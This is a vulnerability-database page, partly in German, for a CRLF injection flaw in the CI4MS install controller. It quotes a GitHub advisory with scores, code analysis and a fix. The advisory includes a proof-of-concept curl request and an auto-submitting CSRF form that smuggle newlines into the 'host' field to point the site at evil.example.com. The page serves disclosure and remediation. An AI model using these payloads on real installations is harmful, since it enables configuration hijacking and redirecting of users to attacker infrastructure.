CVE-2026-39394

criticalPriorität · verfolgen · 39EPSS 0.005 · 44. PerzentilEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.52% (44th) EPSS
CVSS 9.8 · critical
Is it mine?
3 products
Prüfe deine Angriffsfläche
Who says so?
4 sources
cnnvd · enisa_euvd · nvd · osv

EPSS · bewertet 2026-10-27

CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, the Install::index() controller reads the host POST parameter without any validation and passes it directly into updateEnvSettings(), which writes it into the .env file via preg_replace(). Because newline characters in the value are not stripped, an attacker can inject arbitrary configuration directives into the .env file. The install routes have CSRF protection explicitly disabled, and the InstallFilter can be bypassed when cache('settings') is empty (cache expiry or fresh deployment). This vulnerability is fixed in 0.31.4.0.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

9.8
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · high–critical · 8.1–9.8

v3.19.8criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hprimary · NVD / NIST USAusnutzbarkeit 3.9 · Auswirkung 5.9
v3.18.1highCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · ENISA EU
v3.18.1highCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · security-advisories@github.comAusnutzbarkeit 2.2 · Auswirkung 5.9
v3.18.1highCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · OSV
v3.19criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (3)

Betroffene Produkte und Versionsbereiche.

05

Advisories (1)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-vfhx-5459-qhqhCI4MS Vulnerable to .env CRLF Injection via Unvalidated `host` Parameter in Install Controller2026-04-08ghsa · osvUS

    ## Summary The `Install::index()` controller reads the `host` POST parameter without any validation and passes it directly into `updateEnvSettings()`, which writes it into the `.env` file via `preg_replace()`. Because newline characters in the value are not stripped, an attacker can inject arbitrary configuration directives into the `.env` file. The install routes have CSRF protection explicitly disabled, and the `InstallFilter` can be bypassed when `cache('settings')` is empty (cache expiry or fresh deployment). ## Details In `modules/Install/Controllers/Install.php`, the `$valData` array (lines 13-27) defines validation rules for all POST parameters **except** `host`. The `host` value is read at line 35: ```php // line 32-41 $updates = [ 'CI_ENVIRONMENT' => 'development', 'app.baseURL' => '\'' . $this->request->getPost('baseUrl') . '\'', 'database.default.hostname' => $this->request->getPost('host'), // NO VALIDATION 'database.default.database' => $this->request->getPost('dbname'), // ... ]; ``` This value is passed to `updateEnvSettings()` (lines 89-101), which uses `preg_replace` with the raw value as the replacement string: ```php // line 94-98 foreach ($updates as $key => $value) { $pattern = '/^' . preg_quote($key, '/') . '=.*/m'; $replacement = "{$key}={$value}"; if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents); else $contents .= PHP_EOL . $replacement; } ``` Since the `env` template has all lines commented out (e.g., `# database.default.hostname = localhost`), the pattern does not match, and the value is appended verbatim — including any embedded newline characters. This allows injection of arbitrary key=value pairs into `.env`. The `dbpassword` field (line 17) is a secondary vector — its validation (`permit_empty|max_length[255]`) does not reject newline characters. **Access conditions:** - CSRF is explicitly disabled for install routes (`InstallConfig.php:7-9`), confirmed consumed by `Filters.php:220-231,246-251`. - `InstallFilter` (line 13) only blocks when **both** `.env` exists **and** `cache('settings')` is populated. The endpoint is accessible during fresh install or after cache expiry/clear. **Mitigation note:** `encryption.key` injection is NOT exploitable because `generateEncryptionKey()` (line 70) runs after `updateEnvSettings()` and overwrites all `encryption.key=` lines with a cryptographically random value. However, all other `.env` settings remain injectable. ## PoC **Scenario:** Application is deployed but cache has expired (or fresh install window). ```bash # Inject app.baseURL override and disable secure requests via host parameter # The %0a represents a newline that creates new .env lines curl -X POST 'http://target/install/' \ -d 'baseUrl=http://target/&dbname=ci4ms&dbusername=root&dbpassword=&dbdriver=MySQLi&dbpre=ci4ms_&dbport=3306&name=Admin&surname=User&username=admin&password=Password123&email=admin@example.com&siteName=TestSite&host=localhost%0aapp.baseURL=http://evil.example.com/%0aapp.forceGlobalSecureRequests=false%0asession.driver=CodeIgniter\Session\Handlers\DatabaseHandler' ``` **Expected result:** The `.env` file will contain: ``` database.default.hostname=localhost app.baseURL=http://evil.example.com/ app.forceGlobalSecureRequests=false session.driver=CodeIgniter\Session\Handlers\DatabaseHandler ``` These injected lines override the legitimate `app.baseURL` set earlier (CI4's DotEnv processes top-to-bottom; later values win for `putenv`), redirect the application base URL to an attacker-controlled domain, and modify session handling. **CSRF exploitation variant** (no direct access needed): ```html <!-- Hosted on attacker site, victim admin visits while cache is empty --> <form id="f" method="POST" action="http://target/install/"> <input name="baseUrl" value="http://target/"> <input name="host" value="localhost&#10;app.baseURL='http://evil.example.com/'"> <!-- ... other required fields ... --> </form> <script>document.getElementById('f').submit();</script> ``` ## Impact An unauthenticated attacker can inject arbitrary configuration into the `.env` file when the install endpoint is accessible (fresh deployment or cache expiry). This enables: - **Application URL hijacking** — injecting `app.baseURL` to an attacker domain, causing password reset links, redirects, and asset loading to point to attacker infrastructure - **Security downgrade** — disabling `forceGlobalSecureRequests`, CSP, or other security settings - **Session manipulation** — changing session driver or save path configuration - **Full application reconfiguration** — the `copyEnvFile()` method overwrites the existing `.env` with the template before applying updates, destroying the current configuration (denial of service) - **Database redirect** — while not via the `host` injection itself (the host value is a legitimate DB config), injecting additional database config lines can alter connection behavior The attack is amplified by the absence of CSRF protection on the install endpoint, allowing exploitation via a malicious webpage visited by anyone on the same network. ## Recommended Fix 1. **Add validation for the `host` parameter** — reject newlines and restrict to valid hostnames/IPs: ```php // In $valData, add: 'host' => ['label' => lang('Install.databaseHost'), 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]'], ``` 2. **Sanitize all values in `updateEnvSettings()`** — strip newlines from replacement strings: ```php private function updateEnvSettings(array $updates) { $envPath = ROOTPATH . '.env'; if (!file_exists($envPath)) return ['error' => "'.env' file not found."]; $contents = file_get_contents($envPath); foreach ($updates as $key => $value) { $value = str_replace(["\r", "\n"], '', (string) $value); // Strip CRLF $pattern = '/^' . preg_quote($key, '/') . '=.*/m'; $replacement = "{$key}={$value}"; if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents); else $contents .= PHP_EOL . $replacement; } file_put_contents($envPath, $contents); return true; } ``` 3. **Add newline validation to `dbpassword`** — add `regex_match[/^[^\r\n]*$/]` to the validation rules. 4. **Strengthen `InstallFilter`** — consider checking for a more reliable installation-complete indicator than cache state (e.g., a database table existence check or a dedicated lock file).

06

auch bekannt als (3)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-04-08geändert 2026-07-24
08

Referenzen (4)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan